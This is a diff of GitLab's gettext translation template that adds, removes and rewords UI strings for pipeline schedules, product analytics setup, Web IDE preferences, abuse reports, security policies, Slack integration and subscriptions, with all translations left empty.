-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
